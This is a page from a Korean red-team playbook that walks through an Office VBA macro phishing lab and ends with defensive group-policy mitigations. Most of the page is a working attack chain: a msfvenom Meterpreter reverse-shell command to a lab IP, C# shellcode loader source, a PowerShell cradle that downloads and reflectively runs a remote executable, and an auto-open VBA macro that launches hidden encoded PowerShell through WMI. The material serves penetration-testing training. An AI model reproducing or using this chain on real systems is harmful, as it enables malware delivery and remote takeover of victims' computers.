📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • AutoOpen, Document_Open
  • 실습
  • 대응 방안
  • 레퍼런스
  1. 초기 침투 (Initial Access)
  2. 피싱 첨부파일

오피스 VBA 매크로

Previous피싱 첨부파일NextXLM Excel 4.0 매크로

Last updated 2 years ago

비쥬얼 베이직 어플리케이션 (VBA) 매크로는 마이크로소프트 오피스 제품들의 자동화를 도와주는 비쥬얼 베이직 6.0 기반의 프로그래밍 언어다. 보안적으로는 90년대부터 피싱 공격 첨부파일안의 악성코드를 실행하는데 많이 사용됐다.

2022년 기준 오피스 VBA 매크로를 사용한 초기 침투 및 피싱 공격은 성공하기 매우 어려워졌다. 마이크로소프트는 2022년 2월에 모든 오피스 제품들과 오피스365에서했다. 2022/07/07에 잠깐의 롤백이 있었지만 7월 24~25일, 다시 인터넷에서 다운 받은 문서들의 VBA 매크로를 기본적으로 비활성화 시켰다. 30년 간의 매크로 피싱이 드디어 끝을 보이기 시작했다.

이제는 잘 쓰이지 않게 된 TTP지만 거의 30년 동안 공격자들이 사용했던 역사적인 가치가 있는 공격 기법이기 때문에 기초를 닦는다는 마음가짐으로 이 페이지에서 정리한다. 또한, 모두가 항상 오피스365를 쓰거나, 온-프레미스 오피스 버전들이 항상 최신 버전으로 업데이트 되는 것은 아니기 때문에 추후 몇 년 간은 매크로 기반의 페이로드들은 계속해서 쓰일 것이다.

AutoOpen, Document_Open

오피스 제품들에서 실행되는 VBA 매크로 중 AutoOpen() 과 Document_Open() 함수는 파일을 열자마자 자동적으로 실행되는 함수다. 이를 막는 MotW (Mark of the Web), Protected Views, 그리고 Enable Content 등의 방어 기법들이 있어 요새는 문서를 연다고 해서 VBA 매크로가 자동적으로 실행되지는 않는다. 그러나 피해자 유저가 방어 기법들을 모두 비활성화 하거나 허용할 시 위에서 언급된 함수들이 실행된다.

실습

이번 실습에서는 다음과 같은 공격 체인을 만들어본다:

  • 워드 프로세스 -> VBA 매크로 -> WMI -> 파워쉘 -> C# .NET 로더 -> Meterpreter

중간에 VBA 매크로에서 WMI를 사용하는 것은 쉘이 워드 프로세스 파일이 아닌 WmiPrvSE.exe 파일의 자식 프로세스로 생성되기 때문이다. 이 경우 피해자 유저가 워드 문서 파일을 닫아도 쉘은 살아있게 된다.

  1. 먼저 Meterpreter 쉘코드를 msfvenom 을 이용해 만든다.

msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.40.182 lport=443 --encrypt aes256 --encrypt-key 'qaG+eb3eShkiYq3tuv9y!B&E)$@Mc%fT' --encrypt-iv '?aEe(fG+KbPe23fz' -f csharp

2. 이 Meterpreter 쉘을 로드해 실행할 C# .NET 로더를 만든다. 슬리버 C2의 스테이저 코드를 수정한 뒤 사용했다.

MeterStager.cs
using System;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace MeterStager
{
    public class Stager
    {
        private static string aesKey = "qaG+eb3eShkiYq3tuv9y!B&E)$@Mc%fT";
        private static string aesIV = "?aEe(fG+KbPe23fz";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            byte[] shellcode = new byte[720] {
            	
            < ... Meterpreter 쉘코드 ... >  

            };


            shellcode = Decrypt(shellcode, aesKey, aesIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)0xfff0000, 0x3000, 0x40);
            //Console.WriteLine("[+] addr: {0}", addr.ToInt64().ToString("x2"));
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            //Console.WriteLine("[+] shellcode length: {0}", shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}

3. 이후 이 MeterStager.cs C# .NET 로더는 파워쉘에 로드되어 실행된다. 공격자의 다른 서버 192.168.40.179 의 포트 9999에서 파일을 받아온 뒤, Reflection을 이용해 로드한 뒤, 메인 EntryPoint를 실행하도록 파워쉘 페이로드를 준비한다.

iex([System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://192.168.40.179:9999/MeterStager.exe'))).EntryPoint.Invoke($null, [Object[]]@(@(,([String[]]@()))))

위 파워쉘 페이로드를 VBA 매크로에 들어가도록 유틸 스크립트를 이용해 base64 인코딩 한다.

Invoke-VBAps.ps1
$s = @'
 < your powershell payload here > 
'@
 
<# Just copy/paste everything below! #>
$EncodedText =[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))  

$array = @()
[System.Collections.ArrayList]$ArrayList = $array
$EncodedText -split '(.{300})' | Where-Object {
    $ArrayList.Add($_) | out-null
}

foreach ($item in $ArrayList){
    if([string]::IsNullOrEmpty($item)){
        continue
    }
    else{
        if($item -eq $ArrayList[-1]){
            '"' + $item +'"' 
            break 
        }
        '"' + $item + '" & _'
    }
}

4. 이제 완성된 파워쉘 페이로드를 VBA 매크로에다가 집어넣은 뒤, 문서를 생성하면 된다.

go.vba
Sub Document_Open()
    test
End Sub

Sub AutoOpen()
    test
End Sub

Function test()
    Const HIDDEN_WINDOW = 12

    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")

    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    
    Dim proc As Object
    Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    Dim str As String
    
    str = "powershell -exec bypass -nologo -nop -w hidden -enc " & _
    "aQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADEANwA5ADoAOQA5ADkAOQAvAFMAbABpAHYAZQBy" & _
    "AFMAdABhAGcAZQByAC4AZQB4AGUAJwApACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBPAGIAagBlAGMAdABbAF0AXQBAACgAQAAoACwAKABbAFMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQApACkA"
    
    errReturn = proc.Create(str, Null, objConfig, intProcessID)
End Function

Chameleon과 VBA script 난독화를 진행할 경우 디펜더 우회는 가능하지만, 모든 공격 PoC가 그렇듯 무기화는 진행하지 않는다.

실행하면 다음과 같은 결과가 나온다.

대응 방안

  • 마이크로 오피스 전용 그룹 정책 Administrative Template File 을 다운 받은 뒤, 그룹 정책을 설정한다. 그룹 정책을 설정할 때에는 유저 그룹마다, 호스트 그룹마다 따로 GPO를 설정하는 것이 권장된다.

  • 예를 들어, VBA 매크로 자체를 비활성화 해버리는 GPO의 경우 회계부서 OU 보다는 IT나 세일즈 유저들이 있는 OU에 링크 하는 것이 바람직할 것이다.

  • VBA 비활성화 혹은 디지털 서명된 VBA만 사용 - Computer/User Configuration\Policies\Administrative Templates\Microsoft Office XXXX\Security Settings\Disable VBA Office applications

  • 개인이나 GPO가 필요없는 소규모 네트워크의 경우 엔드 유저가 직접 비활성화 시킬수도 있다.

    • 워드 -> Options -> Trust Center -> Trust Center Settings -> Macro Settings -> VBA 완전 비활성화 혹은 디지털 서명된 VBA 만 허용

  • 현 조직에서 매크로를 많이 사용한다면 인터넷에서 받은 문서+매크로 파일들만 비활성화 하는 GPO를 사용한다.

    • User Configuration\Policies\Administrative Templates\Block macros from running in Office files from the Internet - Protected

  • 더 자세한 대응 방안은 레퍼런스를 참고한다.

레퍼런스

업데이트된 오피스 제품들이나 오피스365를 사용한다면 기본적으로 악성 VBA 매크로가 비활성화 되어 있다. - 라고 생각했지만 07/07일 마이크로소프트 사가 이를 했다.

⚔️
기본적으로 매크로를 비활성화 하도록 패치
롤백
Administrative Template files (ADMX/ADML) and Office Customization Tool for Microsoft 365 Apps for enterprise, Office 2019, and Office 2016Microsoft Download Center
https://4sysops.com/archives/restricting-or-blocking-office-2016-2019-macros-with-group-policy/4sysops.com
Logo
Macros from the internet are blocked by default in Office - Deploy Officedocsmsft
Logo